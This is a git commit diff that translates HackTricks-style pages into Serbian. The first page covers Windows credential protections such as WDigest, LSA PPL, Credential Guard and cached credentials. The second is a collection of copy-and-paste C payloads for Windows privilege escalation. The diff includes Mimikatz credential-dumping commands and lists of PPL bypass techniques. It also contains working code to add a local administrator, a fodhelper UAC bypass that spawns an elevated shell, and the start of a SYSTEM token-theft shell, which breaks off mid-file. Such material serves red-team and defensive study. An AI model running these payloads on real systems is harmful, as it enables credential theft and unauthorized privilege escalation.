Translated ['', 'src/windows-hardening/stealing-credentials/credentials-

This commit is contained in:
Translator 2025-08-26 22:11:51 +00:00
parent 704c66c7f0
commit 384b4c2dd3
2 changed files with 175 additions and 67 deletions

View File

@ -1,118 +1,174 @@
# Windows Credentials Protections # Zaštite Windows kredencijala
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## WDigest ## WDigest
Protokol [WDigest](<https://technet.microsoft.com/pt-pt/library/cc778868(v=ws.10).aspx?f=255&MSPPError=-2147217396>), uveden sa Windows XP, dizajniran je za autentifikaciju putem HTTP protokola i je **omogućen po defaultu na Windows XP do Windows 8.0 i Windows Server 2003 do Windows Server 2012**. Ova podrazumevana postavka rezultira **čuvanjem lozinki u običnom tekstu u LSASS** (Local Security Authority Subsystem Service). Napadač može koristiti Mimikatz da **izvuče ove kredencijale** izvršavanjem: The [WDigest](<https://technet.microsoft.com/pt-pt/library/cc778868(v=ws.10).aspx?f=255&MSPPError=-2147217396>) protocol, introduced with Windows XP, is designed for authentication via the HTTP Protocol and is **enabled by default on Windows XP through Windows 8.0 and Windows Server 2003 to Windows Server 2012**. This default setting results in **plain-text password storage in LSASS** (Local Security Authority Subsystem Service). Napadač može koristiti Mimikatz da **izvuče ove kredencijale** izvršavanjem:
```bash ```bash
sekurlsa::wdigest sekurlsa::wdigest
``` ```
Da biste **isključili ili uključili ovu funkciju**, registry ključevi _**UseLogonCredential**_ i _**Negotiate**_ unutar _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ moraju biti postavljeni na "1". Ako su ovi ključevi **odsutni ili postavljeni na "0"**, WDigest je **onemogućen**: Da biste **isključili ili uključili ovu funkciju**, _**UseLogonCredential**_ i _**Negotiate**_ ključevi registra unutar _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ moraju biti postavljeni na "1". Ako ovi ključevi **nedostaju ili su postavljeni na "0"**, WDigest je **onemogućen**:
```bash ```bash
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
``` ```
## LSA zaštita (PP i PPL zaštićeni procesi) ## Zaštita LSA (PP i PPL zaštićeni procesi)
**Zaštićeni proces (PP)** i **zaštićeni proces light (PPL)** su **zaštite na nivou Windows jezgra** dizajnirane da spreče neovlašćen pristup osetljivim procesima kao što je **LSASS**. Uvedene u **Windows Vista**, **PP model** je prvobitno stvoren za sprovođenje **DRM** i dozvoljavao je zaštitu samo binarnih datoteka potpisanih sa **posebnim medijskim sertifikatom**. Proces označen kao **PP** može biti pristupljen samo od strane drugih procesa koji su **takođe PP** i imaju **jednak ili viši nivo zaštite**, i čak tada, **samo sa ograničenim pravima pristupa** osim ako nije posebno dozvoljeno. **Protected Process (PP)** i **Protected Process Light (PPL)** su **Windows zaštite na nivou kernela** dizajnirane da spreče neovlašćeni pristup osetljivim procesima kao što je **LSASS**. Uveden u **Windows Vista**, **PP model** je prvobitno napravljen za **DRM** i omogućavao je zaštitu samo binarnim fajlovima potpisanim posebnim medija sertifikatom. Proces označen kao **PP** može se pristupiti samo od strane drugih procesa koji su **takođe PP** i imaju **jednak ili viši nivo zaštite**, i čak tada, **samo sa ograničenim pristupnim pravima** osim ako nije posebno dozvoljeno.
**PPL**, uveden u **Windows 8.1**, je fleksibilnija verzija PP. Omogućava **šire slučajeve upotrebe** (npr., LSASS, Defender) uvođenjem **"nivoa zaštite"** zasnovanih na **EKU (Enhanced Key Usage)** polju digitalnog potpisa. Nivo zaštite se čuva u `EPROCESS.Protection` polju, koje je `PS_PROTECTION` struktura sa: **PPL**, uveden u **Windows 8.1**, predstavlja fleksibilniju verziju PP. Omogućava **šire slučajeve upotrebe** (npr. LSASS, Defender) uvodeći **"protection levels"** zasnovane na polju **digitalnog potpisa EKU (Enhanced Key Usage)**. Nivo zaštite se čuva u polju `EPROCESS.Protection`, koje je `PS_PROTECTION` struktura sa:
- **Tip** (`Protected` ili `ProtectedLight`) - **Type** (`Protected` or `ProtectedLight`)
- **Potpisivač** (npr., `WinTcb`, `Lsa`, `Antimalware`, itd.) - **Signer** (npr. `WinTcb`, `Lsa`, `Antimalware`, itd.)
Ova struktura je pakovana u jedan bajt i određuje **ko može pristupiti kome**: Ova struktura je upakovana u jedan bajt i određuje **ko kome može pristupiti**:
- **Viši potpisivači mogu pristupiti nižima** - **Više signer vrednosti mogu pristupati nižim**
- **PPL ne može pristupiti PP** - **PPL ne mogu pristupati PP**
- **Nezaštićeni procesi ne mogu pristupiti nijednom PPL/PP** - **Nezaštićeni procesi ne mogu pristupiti nijednom PPL/PP**
### Šta treba da znate iz ofanzivne perspektive ### Šta treba da znate iz ofanzivne perspektive
- Kada **LSASS radi kao PPL**, pokušaji da se otvori koristeći `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` iz normalnog admin konteksta **ne uspevaju sa `0x5 (Access Denied)`**, čak i ako je `SeDebugPrivilege` omogućen. - Kada **LSASS radi kao PPL**, pokušaji da se otvori korišćenjem `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` iz običnog administratorskog konteksta **ne uspevaju i vraćaju `0x5 (Access Denied)`**, čak i ako je `SeDebugPrivilege` omogućen.
- Možete **proveriti nivo zaštite LSASS** koristeći alate kao što su Process Hacker ili programatski čitajući `EPROCESS.Protection` vrednost. - Možete **proveriti nivo zaštite LSASS-a** koristeći alate poput Process Hacker ili programatski čitanjem vrednosti `EPROCESS.Protection`.
- LSASS će obično imati `PsProtectedSignerLsa-Light` (`0x41`), koji može biti pristupljen **samo od strane procesa potpisanih sa višim potpisivačem**, kao što je `WinTcb` (`0x61` ili `0x62`). - LSASS obično ima `PsProtectedSignerLsa-Light` (`0x41`), kojem mogu pristupiti **samo procesi potpisani signerom višeg nivoa**, kao što je `WinTcb` (`0x61` ili `0x62`).
- PPL je **ograničenje samo za korisnički prostor**; **kod na nivou jezgra može ga potpuno zaobići**. - PPL je **ograničenje samo u userland-u**; **kod na nivou kernela ga može u potpunosti zaobići**.
- LSASS koji je PPL ne **sprečava iskopavanje kredencijala ako možete izvršiti kernel shellcode** ili **iskoristiti proces sa visokim privilegijama sa odgovarajućim pristupom**. - To što je LSASS PPL **ne sprečava credential dumping ako možete izvršiti kernel shellcode** ili **iskoristiti visokoprivilegovani proces sa odgovarajućim pristupom**.
- **Postavljanje ili uklanjanje PPL** zahteva restart ili **Secure Boot/UEFI podešavanja**, koja mogu zadržati PPL podešavanje čak i nakon što su promene u registru poništene. - **Podesavanje ili uklanjanje PPL** zahteva restart ili **Secure Boot/UEFI podešavanja**, koja mogu sačuvati PPL podešavanje čak i nakon što su promene u registru poništene.
**Opcije za zaobilaženje PPL zaštita:** ### Create a PPL process at launch (documented API)
Ako želite da iskopate LSASS uprkos PPL, imate 3 glavne opcije: Windows pruža dokumentovan način da se zatraži Protected Process Light nivo za child process tokom kreiranja koristeći extended startup attribute list. Ovo ne zaobilazi zahteve za potpisivanjem — ciljna slika mora biti potpisana za traženu signer klasu.
1. **Koristite potpisani kernel drajver (npr., Mimikatz + mimidrv.sys)** da **uklonite zaštitnu oznaku LSASS**:
Minimalan tok u C/C++:
```c
// Request a PPL protection level for the child process at creation time
// Requires Windows 8.1+ and a properly signed image for the selected level
#include <windows.h>
int wmain(int argc, wchar_t **argv) {
STARTUPINFOEXW si = {0};
PROCESS_INFORMATION pi = {0};
si.StartupInfo.cb = sizeof(si);
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
if (!si.lpAttributeList) return 1;
if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize)) return 1;
DWORD level = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // or WINDOWS_LIGHT/LSA_LIGHT/WINTCB_LIGHT
if (!UpdateProcThreadAttribute(
si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
&level, sizeof(level), NULL, NULL)) {
return 1;
}
DWORD flags = EXTENDED_STARTUPINFO_PRESENT;
if (!CreateProcessW(L"C\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
flags, NULL, NULL, &si.StartupInfo, &pi)) {
// If the image isn't signed appropriately for the requested level,
// CreateProcess will fail with ERROR_INVALID_IMAGE_HASH (577).
return 1;
}
// cleanup
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
```
Napomene i ograničenja:
- Koristite `STARTUPINFOEX` sa `InitializeProcThreadAttributeList` i `UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL, ...)`, zatim prosledite `EXTENDED_STARTUPINFO_PRESENT` funkcijama `CreateProcess*`.
- Zaštitni `DWORD` može biti postavljen na konstante kao što su `PROTECTION_LEVEL_WINTCB_LIGHT`, `PROTECTION_LEVEL_WINDOWS`, `PROTECTION_LEVEL_WINDOWS_LIGHT`, `PROTECTION_LEVEL_ANTIMALWARE_LIGHT`, ili `PROTECTION_LEVEL_LSA_LIGHT`.
- Child proces počinje kao PPL samo ako je njegova image potpisana za tu signer klasu; u protivnom kreiranje procesa pada, obično sa `ERROR_INVALID_IMAGE_HASH (577)` / `STATUS_INVALID_IMAGE_HASH (0xC0000428)`.
- Ovo nije bypass — to je podržani API namenjen odgovarajuće potpisanim image-ima. Korisno za ojačavanje alata ili validaciju PPL-zaštićenih konfiguracija.
Example CLI using a minimal loader:
- Antimalware signer: `CreateProcessAsPPL.exe 3 C:\Tools\agent.exe --svc`
- LSA-light signer: `CreateProcessAsPPL.exe 4 C:\Windows\System32\notepad.exe`
**Bypass PPL protections options:**
Ako želite da dump-ujete LSASS uprkos PPL, imate 3 glavne opcije:
1. **Use a signed kernel driver (e.g., Mimikatz + mimidrv.sys)** to **remove LSASSs protection flag**:
![](../../images/mimidrv.png) ![](../../images/mimidrv.png)
2. **Donosite svoj ranjivi drajver (BYOVD)** da pokrenete prilagođeni kernel kod i onemogućite zaštitu. Alati kao što su **PPLKiller**, **gdrv-loader**, ili **kdmapper** čine ovo izvodljivim. 2. **Bring Your Own Vulnerable Driver (BYOVD)** to run custom kernel code and disable the protection. Tools like **PPLKiller**, **gdrv-loader**, or **kdmapper** make this feasible.
3. **Ukrao postojeći LSASS handle** iz drugog procesa koji ga ima otvoren (npr., proces AV), a zatim **duplirajte** ga u svoj proces. Ovo je osnova tehnike `pypykatz live lsa --method handledup`. 3. **Steal an existing LSASS handle** from another process that has it open (e.g., an AV process), then **duplicate it** into your process. This is the basis of the `pypykatz live lsa --method handledup` technique.
4. **Zloupotrebljavajte neki privilegovani proces** koji će vam omogućiti da učitate proizvoljni kod u njegov prostor adresa ili unutar drugog privilegovanog procesa, efikasno zaobilazeći PPL ograničenja. Možete proveriti primer ovoga u [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) ili [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump). 4. **Abuse some privileged process** that will allow you to load arbitrary code into its address space or inside another privileged process, effectively bypassing the PPL restrictions. You can check an example of this in [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) or [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump).
**Proverite trenutni status LSA zaštite (PPL/PP) za LSASS**: **Check current status of LSA protection (PPL/PP) for LSASS**:
```bash ```bash
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL
``` ```
When you running **`mimikatz privilege::debug sekurlsa::logonpasswords`** it'll probably fail with the error code `0x00000005` becasue of this. Kada pokrenete **`mimikatz privilege::debug sekurlsa::logonpasswords`** verovatno će se završiti greškom sa kodom `0x00000005` zbog ovoga.
- For more information about this check [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/) - Za više informacija o ovoj proveri [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/)
## Credential Guard ## Credential Guard
**Credential Guard**, funkcija ekskluzivna za **Windows 10 (Enterprise i Education edicije)**, poboljšava bezbednost mašinskih kredencijala koristeći **Virtual Secure Mode (VSM)** i **Virtualization Based Security (VBS)**. Iskorišćava CPU virtuelizacione ekstenzije da izoluje ključne procese unutar zaštićenog memorijskog prostora, daleko od dometa glavnog operativnog sistema. Ova izolacija osigurava da čak ni kernel ne može pristupiti memoriji u VSM, efikasno štiteći kredencijale od napada poput **pass-the-hash**. **Local Security Authority (LSA)** funkcioniše unutar ovog sigurnog okruženja kao trustlet, dok **LSASS** proces u glavnom OS-u deluje samo kao komunikator sa VSM-ovim LSA. **Credential Guard**, funkcija ekskluzivna za **Windows 10 (Enterprise and Education editions)**, pojačava bezbednost mašinskih kredencijala koristeći **Virtual Secure Mode (VSM)** i **Virtualization Based Security (VBS)**. Ona koristi CPU ekstenzije za virtualizaciju da izoluje ključne procese u zaštićenom prostoru memorije, van dometa glavnog operativnog sistema. Ova izolacija obezbeđuje da čak i kernel ne može pristupiti memoriji u VSM, efikasno štiteći kredencijale od napada poput **pass-the-hash**. **Local Security Authority (LSA)** radi u ovom sigurnom okruženju kao trustlet, dok proces **LSASS** u glavnom OS-u deluje samo kao posrednik koji komunicira sa LSA u VSM.
Podrazumevano, **Credential Guard** nije aktivan i zahteva ručnu aktivaciju unutar organizacije. Ključno je za poboljšanje bezbednosti protiv alata poput **Mimikatz**, koji su ometeni u svojoj sposobnosti da izvuku kredencijale. Međutim, ranjivosti se i dalje mogu iskoristiti dodavanjem prilagođenih **Security Support Providers (SSP)** za hvatanje kredencijala u čistom tekstu tokom pokušaja prijavljivanja. Po defaultu, **Credential Guard** nije aktiviran i zahteva ručnu aktivaciju u organizaciji. On je značajan za poboljšanje sigurnosti protiv alata poput **Mimikatz**, koji su ograničeni u mogućnosti izvlačenja kredencijala. Ipak, ranjivosti se i dalje mogu iskoristiti dodavanjem prilagođenih **Security Support Providers (SSP)** koji mogu uhvatiti kredencijale u čistom tekstu tokom pokušaja prijave.
Da biste proverili status aktivacije **Credential Guard**, registry ključ _**LsaCfgFlags**_ pod _**HKLM\System\CurrentControlSet\Control\LSA**_ može se pregledati. Vrednost "**1**" označava aktivaciju sa **UEFI zaključavanjem**, "**2**" bez zaključavanja, a "**0**" označava da nije omogućeno. Ova registry provera, iako je jak pokazatelj, nije jedini korak za omogućavanje Credential Guard. Detaljna uputstva i PowerShell skripta za omogućavanje ove funkcije dostupni su online. Da biste proverili status aktivacije **Credential Guard**, možete pregledati registry ključ _**LsaCfgFlags**_ pod _**HKLM\System\CurrentControlSet\Control\LSA**_. Vrednost "**1**" označava aktivaciju sa **UEFI lock**, "**2**" bez lock-a, a "**0**" označava da nije omogućeno. Ova provera u registry-u, iako dobar indikator, nije jedini korak za omogućavanje Credential Guard. Detaljna uputstva i PowerShell skripta za omogućavanje ove funkcije dostupni su online.
```bash ```bash
reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags
``` ```
Za sveobuhvatno razumevanje i uputstva o omogućavanju **Credential Guard** u Windows 10 i njegovoj automatskoj aktivaciji u kompatibilnim sistemima **Windows 11 Enterprise i Education (verzija 22H2)**, posetite [Microsoftovu dokumentaciju](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage). For a comprehensive understanding and instructions on enabling **Credential Guard** in Windows 10 and its automatic activation in compatible systems of **Windows 11 Enterprise and Education (version 22H2)**, visit [Microsoft's documentation](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage).
Dalji detalji o implementaciji prilagođenih SSP-ova za hvatanje kredencijala su navedeni u [ovom vodiču](../active-directory-methodology/custom-ssp.md). Further details on implementing custom SSPs for credential capture are provided in [this guide](../active-directory-methodology/custom-ssp.md).
## RDP RestrictedAdmin Mode ## RDP RestrictedAdmin Mode
**Windows 8.1 i Windows Server 2012 R2** su uveli nekoliko novih bezbednosnih funkcija, uključujući _**Restricted Admin mode za RDP**_. Ovaj režim je dizajniran da poboljša bezbednost smanjenjem rizika povezanih sa [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/) napadima. **Windows 8.1 and Windows Server 2012 R2** introduced several new security features, including the _**Restricted Admin mode for RDP**_. This mode was designed to enhance security by mitigating the risks associated with [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/) attacks.
Tradicionalno, kada se povežete na udaljeni računar putem RDP-a, vaši kredencijali se čuvaju na ciljnim mašinama. Ovo predstavlja značajan bezbednosni rizik, posebno kada se koriste nalozi sa povišenim privilegijama. Međutim, uvođenjem _**Restricted Admin mode**_, ovaj rizik je značajno smanjen. Traditionally, when connecting to a remote computer via RDP, your credentials are stored on the target machine. This poses a significant security risk, especially when using accounts with elevated privileges. However, with the introduction of _**Restricted Admin mode**_, this risk is substantially reduced.
Kada započnete RDP vezu koristeći komandu **mstsc.exe /RestrictedAdmin**, autentifikacija na udaljeni računar se vrši bez čuvanja vaših kredencijala na njemu. Ovaj pristup osigurava da, u slučaju infekcije malverom ili ako zlonameran korisnik dobije pristup udaljenom serveru, vaši kredencijali nisu kompromitovani, jer nisu sačuvani na serveru. When initiating an RDP connection using the command **mstsc.exe /RestrictedAdmin**, authentication to the remote computer is performed without storing your credentials on it. This approach ensures that, in the event of a malware infection or if a malicious user gains access to the remote server, your credentials are not compromised, as they are not stored on the server.
Važno je napomenuti da u **Restricted Admin mode**, pokušaji pristupa mrežnim resursima iz RDP sesije neće koristiti vaše lične kredencijale; umesto toga, koristi se **identitet mašine**. It's important to note that in **Restricted Admin mode**, attempts to access network resources from the RDP session will not use your personal credentials; instead, the **machine's identity** is used.
Ova funkcija predstavlja značajan korak napred u obezbeđivanju veza sa udaljenim desktopom i zaštiti osetljivih informacija od izlaganja u slučaju bezbednosnog proboja. This feature marks a significant step forward in securing remote desktop connections and protecting sensitive information from being exposed in case of a security breach.
![](../../images/RAM.png) ![](../../images/RAM.png)
Za detaljnije informacije posetite [ovaj resurs](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/). For more detailed information on visit [this resource](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/).
## Cached Credentials ## Keširani kredencijali
Windows obezbeđuje **domen kredencijale** putem **Local Security Authority (LSA)**, podržavajući procese prijavljivanja sa bezbednosnim protokolima kao što su **Kerberos** i **NTLM**. Ključna karakteristika Windows-a je njegova sposobnost da kešira **poslednjih deset domen prijava** kako bi osigurao da korisnici i dalje mogu pristupiti svojim računarima čak i ako je **domen kontroler van mreže**—što je korisno za korisnike laptopova koji često nisu u mreži svoje kompanije. Windows secures **domain credentials** through the **Local Security Authority (LSA)**, supporting logon processes with security protocols like **Kerberos** and **NTLM**. A key feature of Windows is its capability to cache the **last ten domain logins** to ensure users can still access their computers even if the **domain controller is offline**—a boon for laptop users often away from their company's network.
Broj keširanih prijava se može prilagoditi putem specifičnog **registry ključa ili grupne politike**. Da biste pregledali ili promenili ovu postavku, koristi se sledeća komanda: The number of cached logins is adjustable via a specific **registry key or group policy**. To view or change this setting, the following command is utilized:
```bash ```bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
``` ```
Pristup ovim keširanim akreditivima je strogo kontrolisan, pri čemu samo **SYSTEM** nalog ima potrebne dozvole za pregled. Administratori koji trebaju pristup ovim informacijama moraju to učiniti sa privilegijama SYSTEM korisnika. Akreditivi se čuvaju na: `HKEY_LOCAL_MACHINE\SECURITY\Cache` Pristup ovim keširanim akreditivima je strogo kontrolisan, i samo nalog **SYSTEM** ima potrebna ovlašćenja da ih pregleda. Administratori kojima je potreban pristup ovim informacijama moraju to učiniti sa privilegijama korisnika SYSTEM. Akreditivi se čuvaju na: `HKEY_LOCAL_MACHINE\SECURITY\Cache`
**Mimikatz** se može koristiti za ekstrakciju ovih keširanih akreditiva koristeći komandu `lsadump::cache`. **Mimikatz** se može koristiti za izdvajanje ovih keširanih akreditiva koristeći komandu `lsadump::cache`.
Za više detalja, originalni [izvor](http://juggernaut.wikidot.com/cached-credentials) pruža sveobuhvatne informacije. Za više detalja, originalni [izvor](http://juggernaut.wikidot.com/cached-credentials) sadrži detaljne informacije.
## Zaštićeni korisnici ## Protected Users
Članstvo u **grupi zaštićenih korisnika** uvodi nekoliko bezbednosnih poboljšanja za korisnike, osiguravajući viši nivo zaštite od krađe i zloupotrebe akreditiva: Članstvo u **Protected Users group** uvodi nekoliko poboljšanja bezbednosti za korisnike, obezbeđujući viši nivo zaštite protiv krađe i zloupotrebe akreditiva:
- **Delegacija akreditiva (CredSSP)**: Čak i ako je postavka grupne politike za **Dozvoli delegiranje podrazumevanih akreditiva** omogućena, akreditivi zaštićenih korisnika neće biti keširani u običnom tekstu. - **Credential Delegation (CredSSP)**: Čak i ako je Group Policy podešavanje za **Allow delegating default credentials** omogućeno, akreditivi Protected Users u plain-text formatu neće biti keširani.
- **Windows Digest**: Počevši od **Windows 8.1 i Windows Server 2012 R2**, sistem neće keširati akreditive zaštićenih korisnika u običnom tekstu, bez obzira na status Windows Digest-a. - **Windows Digest**: Počevši od **Windows 8.1 and Windows Server 2012 R2**, sistem neće keširati akreditive Protected Users u plain-text formatu, bez obzira na status Windows Digest.
- **NTLM**: Sistem neće keširati akreditive zaštićenih korisnika u običnom tekstu ili NT jednosmerne funkcije (NTOWF). - **NTLM**: Sistem neće keširati akreditive Protected Users u plain-text obliku niti NT one-way functions (NTOWF).
- **Kerberos**: Za zaštićene korisnike, Kerberos autentifikacija neće generisati **DES** ili **RC4 ključeve**, niti će keširati akreditive u običnom tekstu ili dugoročne ključeve nakon inicijalne akvizicije Ticket-Granting Ticket (TGT). - **Kerberos**: Za Protected Users, Kerberos autentifikacija neće generisati **DES** ili **RC4 keys**, niti će keširati akreditive u plain-text formatu ili dugoročne ključeve nakon inicijalnog dobijanja Ticket-Granting Ticket (TGT).
- **Offline prijavljivanje**: Zaštićeni korisnici neće imati keširan verifikator kreiran prilikom prijavljivanja ili otključavanja, što znači da offline prijavljivanje nije podržano za ove naloge. - **Offline Sign-In**: Za Protected Users se neće kreirati keširani verifikator pri prijavi ili otključavanju, što znači da offline prijava nije podržana za ove naloge.
Ove zaštite se aktiviraju u trenutku kada se korisnik, koji je član **grupe zaštićenih korisnika**, prijavi na uređaj. To osigurava da su kritične bezbednosne mere na snazi kako bi se zaštitili od različitih metoda kompromitacije akreditiva. Ove zaštite se aktiviraju u trenutku kada se korisnik koji je član **Protected Users group** prijavi na uređaj. To osigurava da su ključne mere bezbednosti na mestu kako bi se zaštitilo od različitih metoda kompromitovanja akreditiva.
Za detaljnije informacije, konsultujte zvaničnu [dokumentaciju](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group). Za detaljnije informacije, konsultujte zvaničnu [dokumentaciju](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group).
**Tabela iz** [**dokumentacije**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.** **Tabela iz** [**the docs**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.**
| Windows Server 2003 RTM | Windows Server 2003 SP1+ | <p>Windows Server 2012,<br>Windows Server 2008 R2,<br>Windows Server 2008</p> | Windows Server 2016 | | Windows Server 2003 RTM | Windows Server 2003 SP1+ | <p>Windows Server 2012,<br>Windows Server 2008 R2,<br>Windows Server 2008</p> | Windows Server 2016 |
| ----------------------- | ------------------------ | ----------------------------------------------------------------------------- | ---------------------------- | | ----------------------- | ------------------------ | ----------------------------------------------------------------------------- | ---------------------------- |
@ -133,4 +189,12 @@ Za detaljnije informacije, konsultujte zvaničnu [dokumentaciju](https://docs.mi
| Schema Admins | Schema Admins | Schema Admins | Schema Admins | | Schema Admins | Schema Admins | Schema Admins | Schema Admins |
| Server Operators | Server Operators | Server Operators | Server Operators | | Server Operators | Server Operators | Server Operators | Server Operators |
## References
- [CreateProcessAsPPL minimal PPL process launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
- [STARTUPINFOEX structure (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-startupinfoexw)
- [InitializeProcThreadAttributeList (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-initializeprocthreadattributelist)
- [UpdateProcThreadAttribute (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute)
- [LSASS RunAsPPL background and internals](https://itm4n.github.io/lsass-runasppl/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
Ova stranica sakuplja **male, samostalne C isječke** koji su korisni tokom Windows lokalne eskalacije privilegija ili post-eksploatacije. Svaki payload je dizajniran da bude **prijateljski za kopiranje i lepljenje**, zahteva samo Windows API / C runtime, i može se kompajlirati sa `i686-w64-mingw32-gcc` (x86) ili `x86_64-w64-mingw32-gcc` (x64). Ova stranica sakuplja **male, samostalne C isječke** koji su korisni tokom Windows Local Privilege Escalation ili post-exploitation. Svaki payload je dizajniran da bude **pogodan za kopiranje i lepljenje**, zahteva samo Windows API / C runtime i može se kompajlirati sa `i686-w64-mingw32-gcc` (x86) ili `x86_64-w64-mingw32-gcc` (x64).
> ⚠️ Ovi payloadi pretpostavljaju da proces već ima minimalne privilegije potrebne za izvršenje akcije (npr. `SeDebugPrivilege`, `SeImpersonatePrivilege`, ili kontekst srednje integriteta za UAC zaobilaženje). Namenjeni su za **red-team ili CTF okruženja** gde je iskorišćavanje ranjivosti dovelo do izvršenja proizvoljnog nativnog koda. > ⚠️ Ovi payloads pretpostavljaju da proces već ima minimalne privilegije potrebne za izvršenje akcije (npr. `SeDebugPrivilege`, `SeImpersonatePrivilege`, ili medium-integrity context for a UAC bypass). Namenjeni su za **red-team or CTF settings** where exploiting a vulnerability has landed arbitrary native code execution.
--- ---
## Dodaj lokalnog administratora ## Dodaj lokalnog administratorskog korisnika
```c ```c
// i686-w64-mingw32-gcc -s -O2 -o addadmin.exe addadmin.c // i686-w64-mingw32-gcc -s -O2 -o addadmin.exe addadmin.c
#include <stdlib.h> #include <stdlib.h>
@ -21,13 +21,13 @@ return 0;
--- ---
## UAC Bypass `fodhelper.exe` Registry Hijack (Medium → High integrity) ## UAC Bypass `fodhelper.exe` Registry Hijack (Medium → High integrity)
Kada se izvrši pouzdani binarni fajl **`fodhelper.exe`**, on pretražuje putanju registra ispod **bez filtriranja `DelegateExecute` glagola**. Postavljanjem naše komande pod tu ključ, napadač može zaobići UAC *bez* preuzimanja fajla na disk. Kada se poverljivi binarni fajl **`fodhelper.exe`** pokrene, on proverava sledeću putanju registra **bez filtriranja `DelegateExecute` verb**. Postavljanjem naše komande pod taj ključ, napadač može zaobići UAC *bez* upisivanja fajla na disk.
*Putanja registra koju pretražuje `fodhelper.exe`* *Putanja registra koju upituje `fodhelper.exe`*
``` ```
HKCU\Software\Classes\ms-settings\Shell\Open\command HKCU\Software\Classes\ms-settings\Shell\Open\command
``` ```
Minimalni PoC koji otvara povišeni `cmd.exe`: Minimalni PoC koji pokreće povišeni `cmd.exe`:
```c ```c
// x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c // x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c
#define _CRT_SECURE_NO_WARNINGS #define _CRT_SECURE_NO_WARNINGS
@ -61,12 +61,12 @@ system("fodhelper.exe");
return 0; return 0;
} }
``` ```
*Testirano na Windows 10 22H2 i Windows 11 23H2 (zakrpe iz jula 2025). Zaobilaženje i dalje funkcioniše jer Microsoft nije ispravio nedostatak provere integriteta u `DelegateExecute` putanji.* *Testirano na Windows 10 22H2 i Windows 11 23H2 (zakrpe od jula 2025). Bypass i dalje radi jer Microsoft nije ispravio nedostatak provere integriteta u `DelegateExecute` putanji.*
--- ---
## Pokretanje SYSTEM ljuske putem duplikacije tokena (`SeDebugPrivilege` + `SeImpersonatePrivilege`) ## Pokreni SYSTEM shell dupliciranjem tokena (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
Ako trenutni proces ima **oba** privilegije `SeDebug` i `SeImpersonate` (tipično za mnoge naloge usluga), možete ukrasti token iz `winlogon.exe`, duplirati ga i pokrenuti podignut proces: Ako trenutni proces ima **oba** `SeDebug` i `SeImpersonate` privilegije (tipično za mnoge servisne naloge), možete ukrasti token iz `winlogon.exe`, duplicirati ga i pokrenuti povišen proces:
```c ```c
// x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32 // x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32
#include <windows.h> #include <windows.h>
